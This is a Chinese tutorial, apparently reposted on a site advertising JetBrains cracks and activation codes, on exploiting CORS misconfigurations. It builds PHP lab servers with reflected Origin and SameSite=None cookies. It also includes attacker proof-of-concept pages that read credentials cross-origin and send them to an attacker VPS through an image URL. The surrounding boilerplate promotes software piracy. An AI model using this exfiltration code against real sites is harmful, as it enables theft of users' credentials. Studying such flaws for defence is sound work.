专注于 JetBrains IDEA 全家桶,永久激活,教程
持续更新 PyCharm,IDEA,WebStorm,PhpStorm,DataGrip,RubyMine,CLion,AppCode 永久激活教程

CORS 漏洞分析与跨域问题解决:从水洞到真正的漏洞利用

对于CORS漏洞来说大家都不陌生, 通常利用在某敏感接口上, 若某敏感接口允许跨域获取数据, 那么则认为它是存在CORS漏洞的, 但是为什么大家都在说这个漏洞是水洞呢?在如下的演示场景中, a.com为服务端, b.com则要跨域请求a.com来获取数据.

环境搭建【a.com】

为了方便理解, 我们可以选择自己本地搭建环境, 然后复现一下CORS, 看看它"水"又"水"在了哪些地方. 为了观察它的核心机制, 这里选择PHP作为实验环境.

首先创建login.php文件, 并且登陆后让它使用我们自己的COOKIE, 文件内容如下:

<?php
if($_SERVER['REQUEST_METHOD'] == 'GET'){
    $html = <<<HTML
    <form action="" method="POST">
        username: <input type="text" name="username"><br>
        password: <input type="password" name="password"><br>
        <input type="submit">
    </form>
HTML;
    echo $html;
} else {
    $username = isset($_POST['username']) ? $_POST['username'] : '';
    $password = isset($_POST['password']) ? $_POST['password'] : '';
    if($username == 'admin' && $password == 'heihu577'){
        $base64_pass = base64_encode($password);
        header("Set-Cookie: user={$username};", false);
        header("Set-Cookie: pass={$base64_pass};", false);
        // setcookie('user', $username);
        // setcookie('pass', $base64_pass);
        echo '登录成功, 凭证在 COOKIE 中!';
    }else{
        echo '账户或密码错误!';
    }
}
?>

这是一个简单的登录接口案例, 登录成功后则设置COOKIE. 存放了用户的账号密码.

为了通用所有语言, 我们尽量在HTTP层理解这件事情, 而并非单纯的PHP语言, 所以使用header函数而不是PHP中的setcookie.

登录接口有了, 那么我们准备一个敏感数据接口, getInfo.php定义如下:

<?php
header('Content-Type: application/json');
$username = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
$password = isset($_COOKIE['pass']) ? $_COOKIE['pass'] : '';
$secretData = new stdClass();
if($username == 'admin' && base64_decode($password) == 'heihu577'){
    $secretData -> code = 200;
    $secretData -> username = $username;
    $secretData -> password = $password;
    $secretData -> info = 'success';
    echo json_encode($secretData);
} else {
    $secretData -> code = 404;
    $secretData -> info = 'fail';
    echo json_encode($secretData);
}
?>

当成功登陆后, 访问该接口结果如下:

link-1

具体实例

跨域页面搭建【b.com】

对于刚刚的getInfo.php文件实际上算是一种敏感接口, 但它不允许跨域, 我们在b.com中准备一个getData.html进行跨域肯定是失败的, 准备代码如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>getMsg</title>
</head>
<body>
    <img src="">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
    <script>
        $.ajax({
            type:"GET",
            url: 'http://a.com/getInfo.php', // 设置敏感数据接口
            data: {},
            xhrFields: {
                withCredentials: true // 设置withCredentials为true, 否则请求过去不携带 COOKIE
            },
            crossDomain: true,
            dataType: 'json',
            success: function(data){
                console.log(data); // 打印到控制台中
                if(data['info'] == 'success'){
                    document.getElementsByTagName('img')[0].src = '攻击者VPS/' + data['username'] + '/' + data['password']; // 设置攻击者 VPS, 在访问记录中可看到劫持的数据信息
                }
            }
        });
    </script>
</body>
</html>

最终跨域结果如下:

link-2

跨域问题半解决

实际上在各种搜索引擎查询该问题的解决方案, 网上公开的问题 or 跨域漏洞学习相关的资料, 以及询问AI帮助, 通常会给出如下方案: 在a.comgetInfo.php文件中返回如下服务器响应头:

Access-Control-Allow-Methods: GET,POST,PUT,DELETE  //含义: 允许请求过来的方式
Access-Control-Allow-Origin: 值与传递过来的 Origin 一致  // 含义: 允许请求过来的源, 例如 b.com
Access-Control-Allow-Credentials: true  // 含义: 是否允许携带 COOKIE

没错, 出现该问题正是没有设置这三个服务器返回头导致的, 那么我们修改a.com/getInfo.php文件内容如下:

<?php
header('Content-Type: application/json');
$username = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
$password = isset($_COOKIE['pass']) ? $_COOKIE['pass'] : '';
header('Access-Control-Allow-Methods: GET,POST,PUT,DELETE');
header('Access-Control-Allow-Origin: ' . (isset($_SERVER['HTTP_ORIGIN']) ? $_SERVER['HTTP_ORIGIN'] : '*'));
header('Access-Control-Allow-Credentials: true');
$secretData = new stdClass();
if($username == 'admin' && base64_decode($password) == 'heihu577'){
    $secretData -> code = 200;
    $secretData -> username = $username;
    $secretData -> password = $password;
    $secretData -> info = 'success';
    echo json_encode($secretData);
} else {
    $secretData -> code = 404;
    $secretData -> info = 'fail';
    echo json_encode($secretData);
}
?>

最终我们的b.com/getData.html控制台中不再弹出跨域失败的弹窗, 但出现了新的问题, 我们的getData.html并没有获取到服务器端的数据:

link-3

明明已经设置好了服务端的Access-Control-Allow-Credentials: true以及本地jquerywithCredentials: true, 为什么还是会失败?

跨域问题解决

这个问题实际上曾困扰无数网站开发者, 参考: https://yxxme.com/chrome-cookie-samesite/

link-4

当然解决方案文章中说的也特别详细:

link-5

所以现在的问题成功从跨域问题转变为了COOKIE设置问题, 而针对这一问题来讲, Set-Cookie定义如下:

Set-Cookie: <cookie名>=<cookie值>; Domain=<域名>; Path=<路径>; Expires=<过期时间>; Max-Age=<秒数>; Secure; HttpOnly; SameSite=<Strict|Lax|None>

SameSite这三个属性值又是什么含义呢?

link-6

而通常若一个Set-Cookie: 值中并没有说明SameSite是具体值时, 浏览器会默认将其设置为Lax, 这是为了防止CSRF攻击所采用的默认手段, 但是这个限制又和CORS-AJAX产生了什么联系?可以使用如下表格进行说明:

link-7

可以看到AJAX明显也被SameSite所限制了. 这也就是为什么我们CORS漏洞利用失败的原因. 现代浏览器通常默认设置为Lax, 也就防止了CORS漏洞的触发, 所以该漏洞慢慢就被称为水洞了, 那么所有的CORS漏洞都是水洞吗?答案是否定的.

非水洞的 CORS 特征与案例

我们知道的是, 程序员完全可以自定义SameSite的值, 将其设置为None, 但是SameSite设置为None又需要Secure属性为true, 而Secure属性又需要站点必须开启HTTPS, 所以后续可以无视浏览器版本的CORS漏洞特征如下:

  • ACAC 头为 true
  • ACAO 头为请求过来的 Origin 值
  • 该接口存在敏感信息
  • 程序员定义了 SameSite 为 None
  • 程序员定义了 Secure
  • 网站必须使用了 HTTPS(HTTP 设置 Secure 会失效)

这些条件缺少一个则是"水"的CORS, 下面笔者给出一个不"水"的CORS案例, 首先将a.com所使用的协议升级为HTTPS以来满足上述条件其中一点.

并且定义a.com/getInfo.php文件内容如下:

<?php
header('Content-Type: application/json');
$username = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
$password = isset($_COOKIE['pass']) ? $_COOKIE['pass'] : '';
header('Access-Control-Allow-Origin: ' . (isset($_SERVER['HTTP_ORIGIN']) ? $_SERVER['HTTP_ORIGIN'] : '*'));
header('Access-Control-Allow-Credentials: true');
$secretData = new stdClass();
if($username == 'admin' && base64_decode($password) == 'heihu577'){
    $secretData -> code = 200;
    $secretData -> username = $username;
    $secretData -> password = $password;
    $secretData -> info = 'success';
    echo json_encode($secretData);
} else {
    $secretData -> code = 404;
    $secretData -> info = 'fail';
    echo json_encode($secretData);
}
?>

该文件满足3点, ACAO & ACAC & 敏感数据三个条件, 而修改a.com/login.php的登录逻辑如下:

<?php
if($_SERVER['REQUEST_METHOD'] == 'GET'){
    $html = <<<HTML
    <form action="" method="POST">
        username: <input type="text" name="username"><br>
        password: <input type="password" name="password"><br>
        <input type="submit">
    </form>
HTML;
    echo $html;
} else {
    $username = isset($_POST['username']) ? $_POST['username'] : '';
    $password = isset($_POST['password']) ? $_POST['password'] : '';
    if($username == 'admin' && $password == 'heihu577'){
        $base64_pass = base64_encode($password);
        header("Set-Cookie: user={$username}; HttpOnly; Secure; SameSite=None;", false);
        header("Set-Cookie: pass={$base64_pass}; HttpOnly; Secure; SameSite=None;", false);
        // setcookie('user', $username);
        // setcookie('pass', $base64_pass);
        echo '登录成功, 凭证在 COOKIE 中!';
    }else{
        echo '账户或密码错误!';
    }
}
?>

该登录逻辑所生成的COOKIE满足Secure & SameSite=None, 那么攻击者编写钓鱼POC如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>getMsg</title>
</head>
<body>
    <img src="">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
    <script>
        $.ajax({
            type:"GET",
            url: 'https://a.com/getInfo.php', // 设置敏感数据接口
            data: {},
            xhrFields: {
                withCredentials: true // 设置withCredentials为true, 否则请求过去不携带 COOKIE
            },
            crossDomain: true,
            dataType: 'json',
            success: function(data){
                console.log(data);
                if(data['info'] == 'success'){
                    document.getElementsByTagName('img')[0].src = 'http://127.0.0.1:8000/' + data['username'] + '/' + data['password']; // 设置攻击者 VPS, 在访问记录中可看到劫持的数据信息
                }
            }
        });
    </script>
</body>
</html>

并放置在http://127.0.0.1:8000/ (假设为攻击者的 VPS)中, 随后登录a.com/login.php后, 访问攻击者放置的上述HTML文件, 结果如下:

link-8

Chorme浏览器中, 完全复现, 至于Firefox, 虽然COOKIE设置的也都对了, 但就是不发送请求, 如下:

link-9

所以对具体的浏览器也有些许限制.

未经允许不得转载:搜云库 » CORS 漏洞分析与跨域问题解决:从水洞到真正的漏洞利用

JetBrains 全家桶,激活、破解、教程

提供 JetBrains 全家桶激活码、注册码、破解补丁下载及详细激活教程,支持 IntelliJ IDEA、PyCharm、WebStorm 等工具的永久激活。无论是破解教程,还是最新激活码,均可免费获得,帮助开发者解决常见激活问题,确保轻松破解并快速使用 JetBrains 软件。获取免费的破解补丁和激活码,快速解决激活难题,全面覆盖 2024/2025 版本!

联系我们联系我们